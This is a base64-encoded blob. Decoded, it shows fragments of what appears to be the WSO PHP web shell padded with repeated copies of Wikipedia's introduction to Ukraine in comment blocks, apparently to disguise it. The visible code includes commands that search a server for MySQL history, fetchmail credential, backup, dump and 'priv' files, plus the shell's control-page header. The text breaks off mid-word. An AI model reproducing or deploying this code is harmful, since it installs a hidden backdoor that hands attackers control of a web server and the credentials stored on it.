CBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCgkJImxvY2F0ZSAubXlzcWxfaGlzdG9yeSBmaWxlcyIgPT4gImxvY2F0ZSAnLm15c3FsX2hpc3RvcnknIiwKCQkibG9jYXRlIC5mZXRjaG1haWxyYyBmaWxlcyIgPT4gImxvY2F0ZSAnLmZldGNobWFpbHJjJyIsCgkJImxvY2F0ZSBiYWNrdXAgZmlsZXMiID0+ICJsb2NhdGUgYmFja3VwIiwKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCgkJImxvY2F0ZSBkdW1wIGZpbGVzIiA9PiAibG9jYXRlIGR1bXAiLAoJCSJsb2NhdGUgcHJpdiBmaWxlcyIgPT4gImxvY2F0ZSBwcml2IgkKCSk7CgpmdW5jdGlvbiBwcmludEhlYWRlcigpIHsKCWlmKGVtcHR5KCRfUE9TVFsnY2hhcnNldCddKSkKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCgkJJF9QT1NUWydjaGFyc2V0J10gPSAiVVRGLTgiOwoJZ2xvYmFsICRjb2xvcjsKCT8+CjxodG1sPjxoZWFkPjxtZXRhIGh0dHAtZXF1aXY9J0NvbnRlbnQtVHlwZScgY29udGVudD0ndGV4dC9odG1sOyBjaGFyc2V0PTw/PSRfUE9TVFsnY2hhcnNldCddPz4nPjx0aXRsZT48Pz0kX1NFUlZFUlsnSFRUUF9IT1NUJ10/PiAtIFdTTyA8Pz1WRVJTSU9OPz48L3RpdGxlPgo8c3R5bGU+Cglib2R5IHtiYWNrZ3JvdW5kLWNvbG9yOiMwMDA7Y29sb3I6I2UxZTFlMTt9Cglib2R5LHRkLHRoCXtmb250OjEwcHQgdGFob21hLGFyaWFsLHZlcmRhbmEsc2Fucy1zZXJpZixMdWNpZGEgU2FuczttYXJnaW46MDt2ZXJ0aWNhbC1hbGlnbjp0b3A7fQoJdGFibGUuaW5mbwl7Y29sb3I6I0MzQzNDMztiYWNrZ3JvdW5kLWNvbG9yOiMwMDA7fQoJc3BhbixoMSxhCXtjb2xvcjo8Pz0kY29sb3I/PiAhaW1wb3J0YW50O30KCXNwYW4JCXtmb250LXdlaWdodDpib2xkZXI7fQoJaDEJCQl7Ym9yZGVyLWxlZnQ6NXB4IHNvbGlkIHRlYWw7cGFkZGluZzoycHggNXB4O2ZvbnQ6MTRwdCBWZXJkYW5hO2JhY2tncm91bmQtY29sb3I6IzIyMjttYXJnaW46MHB4O30KCWRpdi5jb250ZW50CXtwYWRkaW5nOjVweDttYXJnaW4tbGVmdDo1cHg7YmFja2dyb3VuZC1jb2xvcjojMDAwO30KCWEJCQl7dGV4dC1kZWNvcmF0aW9uOm5vbmU7fQoJYTpob3ZlcgkJe3RleHQtZGVjb3JhdGlvbjp1bmRlcmxpbmU7fQoJLm1sMQkJe2JvcmRlcjoxcHggc29saWQgIzQ0NDtwYWRkaW5nOjVweDttYXJnaW46MDtvdmVyZmxvdzphdXRvO30KCS5iaWdhcmVhCXt3aWR0aDoxMDAlO2hlaWdodDoyNTBweDsgfQoJaW5wdXQsIHRleHRhcmVhLCBzZWxlY3QJe21hcmdpbjowO2NvbG9yOiNmZmY7YmFja2dyb3VuZC1jb2xvcjojNDQ0O2JvcmRlcjoxcHggc29saWQgIzAwMDsgZm9udDo5cHQgQ291cmllciBOZXc7fQoJZm9ybQkJe21hcmdpbjowcHg7fQoJI3Rvb2xzVGJsCXt0ZXh0LWFsaWduOmNlbnRlcjt9CgkudG9vbHNJbnAJe3dpZHRoOjMwMHB4fQoJLm1haW4gdGgJe3RleHQtYWxpZ246bGVmdDtiYWNrZ3JvdW5kLWNvbG9yOiMwMDA7fQoJLm1haW4gdHI6aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjojNWU1ZTVlfQoJLm1haW4gdGQsIHRoe3ZlcnRpY2FsLWFsaWduOm1pZGRsZX0KCS5sMQkJCXtiYWNrZ3JvdW5kLWNvbG9yOiM0NDR9CglwcmUJCQl7Zm9udDo5cHQgQ291cmllciBOZXc7fQo8L3N0eWxlPgo8c2NyaXB0PgoJZnVuY3Rpb24gc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KSB7CgkJaWYoYSAhPSBudWxsKWRvY3VtZW50Lm1mLmEudmFsdWU9YTsKCQlpZihjICE9IG51bGwpZG9jdW1lbnQubWYuYy52YWx1ZT1jOwovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRo